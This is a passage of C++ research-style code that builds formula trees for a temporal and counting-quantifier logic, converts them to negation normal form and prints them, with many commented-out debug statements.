case 0:// std::cout <<"\nThe node type is " << FT->type << "\n"; std::cout << FT->val; //the following is needed //if(!FT->client.empty()){ // std::cout << ":"<<FT->client; //} break; default: //std::cout <<"\nError! Type can either be 0, 1 or 2.\n"); break; } } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- /* void Formula::display_ft_sub(FTree* FT) { if(FT==NULL){ // //std::cout <<"\nError in the formula tree.\n") return; } switch(FT->type){ case 5:// std::cout <<"\nThe node type is " << FT->type << "\n";//---monadic predicates std::cout << FT->val; display_ft_pre(FT->next); break; case 4:// std::cout <<"\nThe node type is " << FT->type << "\n";//---counting quantifiers std::cout << FT->val<<FT->client; display_ft_sub(FT->next); break; case 3:// std::cout <<"\nThe node type is " << FT->type << "\n";//---quantifiers std::cout << FT->val; display_ft_sub(FT->next); break; case 2:// std::cout <<"\nThe node type is " << FT->type << "\n";//---binary operators display_ft_sub(FT->left); std::cout << FT->val; display_ft_sub(FT->right); break; case 1:// std::cout <<"\nThe node type is " << FT->type << "\n";//---unary operators std::cout << FT->val; display_ft_sub(FT->next); break; case 0:// std::cout <<"\nThe node type is " << FT->type << "\n";//---variable or local proposition if(FT->subd) std::cout << "[" << FT->num << "]"; else{ std::cout << FT->val; //if(!FT->client.empty()){ // std::cout << ":"<< FT->client; //} } break; default: //std::cout <<"\nError! Type can either be 0, 1 or 2.\n"); break; } } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- void Formula::display_ft_pre_sub(FTree* FT) { if(FT==NULL){ // //std::cout <<"\nError in the formula tree.\n") return; } switch(FT->type){ case 5:// std::cout <<"\nThe node type is " << FT->type << "\n";//---monadic predicates std::cout << FT->val; display_ft_pre(FT->next); break; case 4:// std::cout <<"\nThe node type is " << FT->type << "\n";//---counting quantifiers std::cout << FT->val<<FT->client; display_ft_pre_sub(FT->next); break; case 3:// std::cout <<"\nThe node type is " << FT->type << "\n";//---quantifiers std::cout << FT->val; display_ft_pre_sub(FT->next); break; case 2:// std::cout <<"\nThe node type is " << FT->type << "\n";//---binary operators std::cout << FT->val; display_ft_pre_sub(FT->left); display_ft_pre_sub(FT->right); break; case 1:// std::cout <<"\nThe node type is " << FT->type << "\n";//---unary operators std::cout << FT->val; display_ft_pre_sub(FT->next); break; case 0:// std::cout <<"\nThe node type is " << FT->type << "\n";//---variable or local proposition if(FT->subd) std::cout << "[" << FT->num << "]"; else{ std::cout << FT->val; //if(!FT->client.empty()){ // std::cout << ":"<< FT->client; //} } break; default: //std::cout <<"\nError! Type can either be 0, 1 or 2.\n"); break; } } */ //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- bool Formula::construct_nnf() { int flag=-1; FTree* NNFTree=const_nnf(this->FormulaTree,flag); this->NNFormula = NNFTree;//what is this ? //when an object is being created using new then it has to be deleted eventually. //there is no garabage collection in C++ //After the NNF of the formula is constructed, we print and check it. //std::cout <<"\nNNF of Formula Tree Constructed...............\n" << std::endl; fflush(stdout); //read the formula tree and print the leaves //std::cout <<"\nReading the Formula Tree...............\n" << std::endl; //std::cout <<"\nIn infix form:"; //FTree::display_ft((this->NNFormula)->root); display_ft(NNFTree); //std::cout <<"\n" << std::endl; //std::cout <<"\nIn prefix form:"; //FTree::display_ft((this->NNFormula)->root); display_ft(NNFTree); //std::cout <<"\n" << std::endl; } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- FTree* Formula::const_nnf(FTree* TFormula, int flag) { FTree* NTFormula=NULL; switch(flag) { case -1:// this is the beginning of the nnf construction. look at the root. if it is labelled ~ make changes in the child node and call nnf recursively with flag =1. else if it is not labelled ~ keep the child as it is and call nnf recursively with flag=0. //std::cout <<"\nWe are looking at the root of the formula tree.\n" << std::endl; if(TFormula->get_val()[0]=='~') { //std::cout <<"\nThere is a ~(NOT) at the root.\n" << std::endl; return(const_nnf(TFormula->get_next(),1)); } else{ //std::cout <<"\nThere is NO ~(NOT) at the root.\n" << std::endl; return(const_nnf(TFormula,0)); } case 0: if(!isoperator(TFormula->get_val()[0])) { //std::cout <<"\nWe have hit a leaf with flag " << flag << "\n" << std::endl; //std::cout <<"\nWe copy the node and return it.\n" << std::endl; NTFormula=Formula::copy(TFormula); return(NTFormula); }//end of if else { if(TFormula->get_val()[0]=='~') { //std::cout <<"\nWe hit a ~(NOT) with " << flag << " at an internal node.\n" << std::endl; //std::cout <<"\nRecursively Call the function with flag " << 1-flag << "\n" << std::endl; return(const_nnf(TFormula->get_next(),1-flag)); }//end of if else{ switch(TFormula->get_val()[0]) { case '@': //std::cout <<"\nWe hit a @ (AT) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),flag)); //we have pushed ~(NOT) inside the local formula. that is correct NTFormula->set_parent(NULL); return(NTFormula); case '#': //std::cout <<"\nWe hit a # (COUNTING QUANTIFIER) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(4); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),0)); NTFormula->set_parent(NULL); return(NTFormula); case 'E': //std::cout <<"\nWe hit a E (EXISTENTIAL QUANTIFIER) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(3); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),0)); NTFormula->set_parent(NULL); return(NTFormula); case 'A': //std::cout <<"\nWe hit a A (UNIVERSAL QUANTIFIER) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(3); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),0)); NTFormula->set_parent(NULL); return(NTFormula); case '|'://generate a new formula tree node labelled &, attach the nnf of its left and right child respectively and return it. //std::cout <<"\nWe hit a | (OR) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val("|"); NTFormula->set_type(2); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_left(const_nnf(TFormula->get_left(),0)); NTFormula->set_right(const_nnf(TFormula->get_right(),0)); NTFormula->set_parent(NULL); return(NTFormula); case '&'://generate a new formula tree node labelled |, attach the nnf of its left and right child respectively and return it. //std::cout <<"\nWe hit a & (AND) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val("&"); NTFormula->set_type(2); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_left(const_nnf(TFormula->get_left(),0)); NTFormula->set_right(const_nnf(TFormula->get_right(),0)); NTFormula->set_parent(NULL); return(NTFormula); case 'X': //std::cout <<"\nWe hit a X (NEXT) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),0)); NTFormula->set_parent(NULL); return(NTFormula); case 'Y': //std::cout <<"\nWe hit a Y (PREVIOUS) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),0)); NTFormula->set_parent(NULL); return(NTFormula); case 'F': //std::cout <<"\nWe hit a F (DIAMOND) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),0)); NTFormula->set_parent(NULL); return(NTFormula); case 'G': //std::cout <<"\nWe hit a G (BOX) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),0)); NTFormula->set_parent(NULL); return(NTFormula); case 'P': //std::cout <<"\nWe hit a P (PAST) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),0)); NTFormula->set_parent(NULL); return(NTFormula); case 'Q': //std::cout <<"\nWe hit a Q (IFPAST) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),0)); NTFormula->set_parent(NULL); return(NTFormula); default: if(TFormula->get_type()==5){//Looking at a predicate //std::cout <<"\nWe have hit a redicate with flag " << flag << "\n" << std::endl; //std::cout <<"\nWe copy the node and return it.\n" << std::endl; NTFormula=Formula::copy(TFormula); return(NTFormula); }else{ std::cout <<"\nError in the formula\n" << std::endl; exit(0); } }//end of switch }//end of else }//end of else and case case 1: if(!isoperator(TFormula->get_val()[0])) { //it is an atomic proposition //add a NOT at the top and return it. //std::cout <<"\nWe have hit a leaf with flag " << flag << "\n" << std::endl; //std::cout <<"\nWe copy the node, add a ~(NOT) on top and return it.\n" << std::endl; NTFormula=Formula::copy(TFormula); NTFormula=Formula::negate(NTFormula); return(NTFormula); }//end of if else{ if(TFormula->get_val()[0]=='~') { //std::cout <<"\nWe hit a ~(NOT) with " << flag << " at an internal node.\n" << std::endl; //std::cout <<"\nRecursively Call the function with flag " << 1-flag << "\n" << std::endl; return(const_nnf(TFormula->get_next(),1-flag)); } else{ switch(TFormula->get_val()[0]) { case '@': //std::cout <<"\nWe hit a @ (AT) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val(TFormula->get_val()); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),flag)); //we push ~(NOT) inside the local formula. that is quite correct. NTFormula->set_parent(NULL); return(NTFormula); case '#': //std::cout <<"\nWe hit a X (NEXT) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val("#"); NTFormula->set_type(4); NTFormula->set_ctype(1-TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),1)); NTFormula->set_parent(NULL); return(NTFormula); case 'E': //std::cout <<"\nWe hit a X (NEXT) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val("A"); NTFormula->set_type(3); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),1)); NTFormula->set_parent(NULL); return(NTFormula); case 'A': //std::cout <<"\nWe hit a X (NEXT) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val("E"); NTFormula->set_type(3); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),1)); NTFormula->set_parent(NULL); return(NTFormula); case '|'://generate a new formula tree node labelled &, attach the nnf of its left and right child respectively and return it. //std::cout <<"\nWe hit a |(OR) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val("&"); NTFormula->set_type(2); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_left(const_nnf(TFormula->get_left(),1)); NTFormula->set_right(const_nnf(TFormula->get_right(),1)); NTFormula->set_parent(NULL); return(NTFormula); case '&'://generate a new formula tree node labelled |, attach the nnf of its left and right child respectively and return it. //std::cout <<"\nWe hit a & (AND) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? NTFormula->set_val("|"); NTFormula->set_type(2); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_left(const_nnf(TFormula->get_left(),1)); NTFormula->set_right(const_nnf(TFormula->get_right(),1)); NTFormula->set_parent(NULL); return(NTFormula); case 'X': //std::cout <<"\nWe hit a X (NEXT) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? //NTFormula->set_val(TFormula->get_val()); //NTFormula->get_val()[0]='Y'; NTFormula->set_val("Y"); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),1)); NTFormula->set_parent(NULL); return(NTFormula); case 'Y': //std::cout <<"\nWe hit a Y (PREVIOUS) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? //NTFormula->set_val(TFormula->get_val()); //NTFormula->get_val()[0]='X'; NTFormula->set_val("X"); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),1)); NTFormula->set_parent(NULL); return(NTFormula); case 'F': //std::cout <<"\nWe hit a F (DIAMOND) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? //NTFormula->set_val(TFormula->get_val()); //NTFormula->get_val()[0]='G'; NTFormula->set_val("G"); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),1)); NTFormula->set_parent(NULL); return(NTFormula); case 'G': //std::cout <<"\nWe hit a G (BOX) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? //NTFormula->set_val(TFormula->get_val()); //NTFormula->get_val()[0]='F'; NTFormula->set_val("F"); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),1)); NTFormula->set_parent(NULL); return(NTFormula); case 'P': //std::cout <<"\nWe hit a P (PAST) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? //NTFormula->set_val(TFormula->get_val()); //NTFormula->get_val()[0]='Q'; NTFormula->set_val("Q"); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),1)); NTFormula->set_parent(NULL); return(NTFormula); case 'Q': //std::cout <<"\nWe hit a Q (IFPAST) with flag " << flag << "\n" << std::endl; NTFormula=new FTree();//is it correct ? constructor ? //NTFormula->set_val(TFormula->get_val()); //NTFormula->get_val()[0]='P'; NTFormula->set_val("P"); NTFormula->set_type(1); NTFormula->set_ctype(TFormula->get_ctype()); NTFormula->set_bound(TFormula->get_bound()); NTFormula->set_next(const_nnf(TFormula->get_next(),1)); NTFormula->set_parent(NULL); return(NTFormula); default: if(TFormula->get_type()==5){//Looking at a predicate //it is a predicate //add a NOT at the top and return it. //std::cout <<"\nWe have hit a leaf with flag " << flag << "\n" << std::endl; //std::cout <<"\nWe copy the node, add a ~(NOT) on top and return it.\n" << std::endl; NTFormula=Formula::copy(TFormula); NTFormula=Formula::negate(NTFormula); return(NTFormula); }else{ std::cout <<"\nError in the formula\n" << std::endl; exit(0); } }//end of switch }//end of else }//end of else default: //std::cout <<"\Error in the flag\n"<<std::endl; exit(0); }//end of switch }//end of const_nnf //------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------------- /*FTree* Formula::negate(FTree* TFormula) { FTree* neg_root = Formula::negate(TFormula->root); FTree* neg_formula = new FTree(neg_root); return neg_formula; }*/ //------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------------- FTree* Formula::negate(FTree* TFormula) { FTree* new_node=NULL; FTree* new_subf=NULL; new_node=new FTree();//is it correct ? constructor ? if(new_node==NULL){ //printf("\nError in memory allocation\nExiting\n"); exit(0); } //printf("\nnegating the formula (in prefix form):"); //display_FTree_pre(TFormula); new_subf=copy(TFormula); //printf("\nMade a copy of the formula. The copy (in prefix form) is:"); //display_FTree_pre(new_subf); fflush(stdout); new_node->set_type(1); //new_node.global=0; new_node->set_val("~"); new_node->set_left(NULL); new_node->set_right(NULL); new_node->set_next(new_subf); return(new_node); } //------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------------- //------------------------------------------------------ ------------------------------------------- //-------------------------------------------------------------------------------------------------- bool Formula::ftree_convert() { // we are going to construct formula tree from formula in std::string form // we expect formula std::string to have substd::strings of the form // ((#x>k)(\alpha)) or ((#x<=k)(\alpha)) or // ((#x:n>k)(\alpha)) or ((#x:n<=k)(\alpha)) // we do not have any = in the formula int len=0; int i,j; int done=-1; int in=0; bool flag=0; bool result; int ctype_in=0; short ctype_flag=-1; std::string prop; std::string var; std::string client; std::string cfoval; // std::string var1; // std::string client1; // std::string var2; // std::string client2; std::stack<FTree*> for_stack; std::stack<FTree*> op_stack; //op_stack should ideally be char stack to allow '(' to be pushed. //for_stack has to be FTree* stack FTree* for_node_n; FTree* for_node_l; FTree* for_node_r; FTree* for_node; FTree* op_node; FTree* new_op_node; std::cout << "We are in the formula to tree conversion routine.\n"; //initialize the client type no. to zero //this will be computed and updated here using the two add_to_formula_info methods. NoOfCltTypes=0; MaxBound=-1; NoOfCntQntfrs=0; std::cout <<"\nThe input formula is:->" << FormulaText << std::endl; len=FormulaText.length(); std::cout<<"\nLength of the formula is:-> " << len << std::endl; i=0; while(i<len) { std::cout<<"\nLooking at the " << i << "th symbol of the formula:" << FormulaText[i]<< std::endl; //looking at FormulaText[i] switch(isoperator(FormulaText[i])){//we expect operators to be single letter symbols, including ( and ). case 1: std::cout<< FormulaText[i] << " is an operator\n"; //Presently the op_prcd method does nothing but differentiate (, ) and other operators. This is so as input is fully parenthesized. //We will need operator precedence once we remove this constraint on the input. switch(op_prcd(FormulaText[i])){ case 0://**(** do nothing std::cout<<"\nWe are looking at the symbol:" << FormulaText[i]; ////getchar(); std::cout<<"\nIgnore, move to the next symbol\n"; ++i; continue; case 1://**)** std::cout<<"\nWe are looking at the symbol:" << FormulaText[i]; ////getchar(); //----------------------------------------------------------------------------------------------------------------------------- //")" can be encountered in four different places 0. (x) or (x:i) 1. (p(x)) or (p(x:i)) 2. (#x<=k) or (#x:i<=k) or (#x>k) or (#x:i>k) 3. (\alpha op \beta) where op can be | or & or (~\alpha). //----------------------------------------------------------------------------------------------------------------------------- if(FormulaText[i-1]==')'){//look at the operator on the top of the operation stack //and accordingly construct a tree by taking one or more operands from the operand stack std::cout<<"\npop an operator from the op stack\ncheck whether it is unary or binary\n"; fflush(stdout); if(!op_stack.empty()){ op_node=op_stack.top(); op_stack.pop(); } else{ std::cout << "\nThere is some problem.\n"; std::cout << "\nWe are trying to access an empty op_stack\n"; return 0; } std::cout<<"\nThe operator is:->" << op_node->val; display_ft(op_node); fflush(stdout); //getchar(); switch(op_type(op_node->val[0])){ case 1://unary operator std::cout<<"\nif unary, pop a subformula from the formula stack\n"; if(!for_stack.empty()){ for_node_n=for_stack.top(); for_stack.pop(); } else{ std::cout << "\nThere is some problem.\n"; std::cout << "\nWe are trying to access an empty for_stack\n"; return 0; } display_ft(for_node_n); op_node->next=for_node_n; //-------------------------------------------------------------------------------------------------- //Following fields have already been assigned -- The code is redundant.----------------------------- /*-------------------------------------------------------------------------------------------------- op_node->type=1;//for unary operator op_node->model=-1;// op_node->copy=-1;// op_node->subd=0;// op_node->num=-1; op_node->client="-1"; op_node->iclient=-1; op_node->ctype=0; op_node->bound=-1; -------------------------Redundant Code Ends------------------------------------------------------*/ std::cout<<"\nConstructed a larger subformula\n"; display_ft(op_node); std::cout<<"\npush the new subformula node onto the formula stack...\n"; for_stack.push(op_node); //display_for_stack(); i++; continue; case 2://binary operator std::cout<<"\nif binary, pop two subformulas from the formula stack\n"; if(for_stack.empty()){ std::cout << "\nThere is some problem.\n"; std::cout << "\nWe are trying to access an empty stack.\n"; return 0; } for_node_r=for_stack.top();for_stack.pop(); display_ft(for_node_r); std::cout << "\n"; if(for_stack.empty()){ std::cout << "\nThere is some problem.\n"; std::cout << "\nWe are trying to access an empty stack.\n"; return 0; } for_node_l=for_stack.top();for_stack.pop(); display_ft(for_node_l); std::cout << "\n"; op_node->left=for_node_l; op_node->right=for_node_r; //-------------------------------------------------------------------------------------------------- //Following fields have already been assigned -- The code is redundant.----------------------------- /*-------------------------------------------------------------------------------------------------- op_node->type=2;//for binary operator op_node->model=-1;// op_node->copy=-1;// op_node->subd=0;// op_node->num=-1; op_node->client="-1"; op_node->iclient=-1; op_node->ctype=0; op_node->bound=-1; -------------------------Redundant Code Ends------------------------------------------------------*/ /*------------------------------------------Code Not Okay------------------------------------------- op_node->iclient=for_node_l->iclient; op_node->ctype=for_node_l->ctype; op_node->bound=for_node_l->bound; --------------------------------------------------------------------------------------------------*/ std::cout<<"\nConstructed a larger subformula\n"; display_ft(op_node); std::cout << "\n"; std::cout<<"\npush the new subformula node onto the formula stack...\n"; for_stack.push(op_node); //display_for_stack(); i++; continue; case 3://quantifiers std::cout<<"\nif quantifier, pop a subformula from the formula stack\n"; if(for_stack.empty()){ std::cout << "\nThere is some problem.\n"; std::cout << "\nWe are trying to access an empty stack.\n"; return 0; } for_node_n=for_stack.top();for_stack.pop(); display_ft(for_node_n); std::cout << "\n"; //make sure that formula is correctly popped from the formula stack. op_node->next=for_node_n; op_node->iclient=for_node_n->iclient; //-------------------------------------------------------------------------------------------------- //Following fields have already been assigned -- The code is redundant.----------------------------- /*-------------------------------------------------------------------------------------------------- op_node->type=3;//for quantifiers op_node->model=-1;// op_node->copy=-1;// op_node->subd=0;// op_node->num=-1; op_node->client=for_node_n->client; op_node->iclient=for_node_n->iclient; op_node->ctype=for_node_n->ctype; op_node->bound=for_node_n->bound; -------------------------Redundant Code Ends------------------------------------------------------*/ std::cout<<"\nConstructed a larger subformula\n"; display_ft(op_node); std::cout << "\n"; std::cout<<"\npush the new subformula node onto the formula stack...\n"; for_stack.push(op_node); //display_for_stack(); i++; continue; case 4://counting quantifiers std::cout<<"\nif counting quantifier, pop a subformula from the formula stack\n"; if(for_stack.empty()){ std::cout << "\nThere is some problem.\n"; std::cout << "\nWe are trying to access an empty stack.\n"; return 0; } for_node_n=for_stack.top();for_stack.pop(); display_ft(for_node_n); std::cout << "\n"; //getchar(); //make sure that formula is correctly popped from the formula stack. op_node->next=for_node_n; op_node->iclient=for_node_n->iclient; //The below fields have already been correctly assigned. //op_node->type=4;//for counting quantifiers //op_node->model=-1;// //op_node->copy=-1;// //op_node->subd=0;// //op_node->num=-1; //op_node->client=for_node_n->client; //op_node->iclient=for_node_n->iclient; //op_node->ctype=for_node_n->ctype; //op_node->bound=for_node_n->bound; //------------------------------We print the fields in the op_node.--------------------------------- std::cout << "\ttype: " << op_node->type; std::cout << "\tctype: " << op_node->ctype; std::cout << "\tclient type: " << op_node->client; std::cout << "\ticlient: " << op_node->iclient; std::cout << "\tbound: " << op_node->bound; std::cout << "\n\n"; //getchar();getchar(); std::cout<<"\nConstructed a larger subformula\n"; display_ft(op_node); std::cout << "\n"; std::cout<<"\npush the new subformula node onto the formula stack...\n"; for_stack.push(op_node); //display_for_stack(); i++; continue; //the following case of predicate should not occur. //we have aleady constructed a tree for pred(var:client) and pushed onto formula stack case 5://predicates std::cout<<"\nif predicate, pop a subformula from the formula stack\n"; if(for_stack.empty()){ std::cout << "\nThere is some problem.\n"; std::cout << "\nWe are trying to access an empty stack.\n"; return 0; } for_node_n=for_stack.top();for_stack.pop(); display_ft(for_node_n); std::cout << "\n"; //make sure that formula is correctly popped from the formula stack. op_node->next=for_node_n; op_node->type=5;//for predicates // op_node->model=-1;// // op_node->copy=-1;// // op_node->subd=0;// // op_node->num=-1; op_node->client=for_node_n->client; std::cout<<"\nConstructed a larger subformula\n"; display_ft(op_node); std::cout << "\n"; std::cout<<"\npush the new subformula node onto the formula stack...\n"; for_stack.push(op_node); //display_for_stack(); i++; continue; }//end of switch(op_type(op_node->val[0])) }//end of if(FormulaText[i-1]==')') else{//do nothing //this is the case when we encounter closing paranethesis of std::cout<<"\nIgnored the " << i << "th symbol " << FormulaText[i] << std::endl; i++; continue; } case 2: //if FormulaText[i] is not left or right bracket but an operator (~,&,|,E,A) then construct an internal node and store in the stack, it is an operator proper ~,&,|, et. al. std::cout<<"\nLooking at a real operator:" << FormulaText[i] << std::endl; fflush(stdout); new_op_node= new FTree; if(new_op_node==NULL){ std::cout<<"\nMemory Allocation Error\n"; exit(1); } std::cout<<"\nConstructed a tree node to store " << FormulaText[i] << " with pointer " << new_op_node << "\n"; fflush(stdout); ////getchar(); new_op_node->val=FormulaText[i]; // new_op_node->model=-1; // new_op_node->copy=-1; // new_op_node->subd=0; // new_op_node->num=-1; new_op_node->parent=NULL; new_op_node->right=NULL; new_op_node->left=NULL; new_op_node->next=NULL; new_op_node->client.clear(); new_op_node->iclient=-1; new_op_node->ctype=0; new_op_node->bound=-1; switch(op_type(new_op_node->val[0])){ case 1: std::cout<< "\nUnary Operator\n"; new_op_node->type=1;//unary operator i++; op_stack.push(new_op_node); break; case 2: std::cout<< "\nBinary Operator\n"; new_op_node->type=2;//binary operator i++; op_stack.push(new_op_node); break; case 3: std::cout<< "\nQuantifier\n"; var.clear(); if(new_op_node->val=="A"){ std::cout << "Invalid input -- we can not have universal quantifier\n"; std::cout << "\nExiting\n"; } new_op_node->type=3;//quantifier new_op_node->ctype=0;//updating ctype new_op_node->bound=0;//updating bound std::cout << "\nType field updated.\n";fflush(stdout); //FormulaText[i] is either E or A. We expect it to be followed by variable or variable:client-type j=1; flag=0; in=0; //The following loop is needed--we read from FormulaText and construct val field for the FTree node for quantifier while(FormulaText[i+j]!='(' && FormulaText[i+j]!=')'){ new_op_node->val.push_back(FormulaText[i+j]); if(FormulaText[i+j]==':') { flag=1; in=j; } j++; } std::cout << "Value field updated.\n";fflush(stdout); if(!flag){//flag is false new_op_node->client.clear();//no client info var = new_op_node->val.substr(1,new_op_node->val.length()-1); } else{//flag is true //i think the following for loop can be replaced by a single std::string manipulation. i need to check; //yes we can use substr method---std::string& substr(position,length); new_op_node->client.clear(); //for(int k=in+1; k<=j;k++){ // new_op_node->client.push_back(new_op_node->val[k]); //} new_op_node->client=new_op_node->val.substr(in+1,new_op_node->val.length()-in-1); var = new_op_node->val.substr(1,in-1); } std::cout<< "\nClient field updated.\n";fflush(stdout); client.clear(); client=new_op_node->client; //we should add variable (and client) to the list --- No way //result=add_variable_to_formula_info(var,client); //if(result){// a new client has just been added to the list // ClientList[client]=NoOfCltTypes-1; // MaxBoundList[client]=1; //} MaxBoundList[client]=1; //assign the client type as a number >=0 new_op_node->iclient=ClientList[client]; std::cout << "\nThe assigned iclient value to the E node is : " << new_op_node->iclient; //getchar(); i=i+j; op_stack.push(new_op_node); break; case 4: std::cout<< "\nCounting Quantifier\n"; new_op_node->type=4;//counting quantifier std::cout << "\nType field updated.\n";fflush(stdout); //FormulaText[i] is #. We expect it to be followed by variable or variable:client-type and > or <= and a non-negative integer j=1; flag=0; in=0; ctype_in=0; cfoval="#"; //The following loop is needed--we read from FormulaText and construct val field for the FTree node for quantifier while(FormulaText[i+j]!='(' && FormulaText[i+j]!=')'){ //new_op_node->val.push_back(FormulaText[i+j]); cfoval.push_back(FormulaText[i+j]); if(FormulaText[i+j]==':') { flag=1; in=j; } if(FormulaText[i+j]=='>') { new_op_node->ctype=0; ctype_flag=0; ctype_in=j; } if(FormulaText[i+j]=='<') { new_op_node->ctype=1; ctype_flag=1; ctype_in=j; } j++; } // if(ctype_flag==-1){ // std::cout << "\nInvalid input -- We should see a < or >= after #\n"; // std::cout << "\nExiting\n"; // exit(1); // } if(!flag){//flag is false new_op_node->client.clear();//no client info } else{//flag is true new_op_node->client.clear(); new_op_node->client=cfoval.substr(in+1,ctype_in-in-1); } std::cout<< "\nClient field updated.\n";fflush(stdout); //we store the client name in a seperate std::string as we do not want to dereference new_op_node often. client.clear(); client=new_op_node->client; switch(ctype_flag){ case 0: new_op_node->bound=atoi(cfoval.substr(ctype_in+1,new_op_node->val.length()-ctype_in-1).c_str()); if(new_op_node->bound > MaxBound){ MaxBound = new_op_node->bound; } break; case 1: new_op_node->bound=atoi(cfoval.substr(ctype_in+2,new_op_node->val.length()-ctype_in-2).c_str()); if(new_op_node->bound > MaxBound){ MaxBound = new_op_node->bound; } break; default: //print error and exit; std::cout << "\nError in Input -- Exiting.\n"; exit(1); }; std::cout << "The bound value computed for the # node is : " << new_op_node->bound << "\n"; //getchar(); //getchar(); //cfoval std::string contains everything including variable, :, client, <, >= and bound //we store only the variable name along with # in 